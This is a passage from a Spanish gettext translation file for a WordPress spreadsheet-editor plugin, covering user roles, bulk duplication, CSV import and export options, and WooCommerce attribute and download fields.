frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la 